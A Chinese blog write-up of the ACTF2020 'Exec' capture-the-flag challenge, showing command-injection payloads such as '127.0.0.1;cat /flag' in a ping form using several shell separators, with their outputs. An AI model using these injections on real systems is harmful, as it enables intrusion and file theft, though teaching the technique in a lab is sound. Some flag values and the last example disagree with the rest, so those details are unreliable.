

[ACTF2020 新生赛] Exec

原创

[Dddddddddd](#) 于 2021-08-02 01:39:34 发布 47 收藏

文章标签: [hbase](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/DddddXxxx/article/details/119307894>

版权

PING

```
127.0.0.1|
```

PING

```
PING 127.0.0.1 (127.0.0.1): 56 data bytes
```

<https://blog.csdn.net/DddddXxxx>

直接ping ip可以得到结果, 试一下:

PING

```
127.0.0.1;cat /flag
```

PING

```
PING 127.0.0.1 (127.0.0.1): 56 data bytes  
flag{df2e345f-7b07-41f0-8eec-ebe6613803c0}
```

<https://blog.csdn.net/DddddXxxx>

拿到flag。

像这种什么都没过滤的题目, 可以利用常见管道符直接执行命令:

常见管道符

1、| (就是按位或), 直接执行|后面的语句

PING

```
127.0.0.1 | cat /flag
```

PING

```
flag{df2e345f-7b07-41f0-8eec-ebe6613803c0}
```

<https://blog.csdn.net/DddddXxxx>

2、||（就是逻辑或），如果前面命令是错的那么就执行后面的语句，否则只执行前面的语句

PING

```
cccc || cat /flag
```

```
PING
```

```
flag{df2e345f-7b07-41f0-8eec-eba6613803c0}
```

3、&（就是按位与），&前面和后面命令都要执行，无论前面真假

PING

```
127.0.0.1 & cat /flag
```

```
PING
```

```
flag{df2e345f-7b07-41f0-8eec-eba6613803c0}  
PING 127.0.0.1 (127.0.0.1): 56 data bytes
```

4、&&（就是逻辑与），如果前面为假，后面的命令也不执行，如果前面为真则执行两条命令
这里没试出来flag，用cmd试一下：

```
C:\Users\cccc>xxx&&whoami  
'xxx' 不是内部或外部命令，也不是可运行的程序  
或批处理文件。  
  
C:\Users\cccc>ping 127.0.0.1&&whoami  
  
正在 Ping 127.0.0.1 具有 32 字节的数据:  
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128  
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128  
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128  
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128  
  
127.0.0.1 的 Ping 统计信息:  
数据包: 已发送 = 4, 已接收 = 4, 丢失 = 0 (0% 丢失),  
往返行程的估计时间(以毫秒为单位):  
最短 = 0ms, 最长 = 0ms, 平均 = 0ms  
desktop-i0pqgob\cccc  
  
C:\Users\cccc>whoami  
desktop-i0pqgob\cccc  
  
C:\Users\cccc>
```

5、;（linux下有的，和&一样的作用）

PING

```
127.0.0.1:cat /flag|
```

```
PING
```

```
PING 127.0.0.1 (127.0.0.1): 56 data bytes  
flag[df2e345f7b07541f98e1c4e6513803c0]P09A
```

命令执行漏洞可以看这位师傅的博客：

<http://www.ghtwf01.cn/index.php/archives/273/>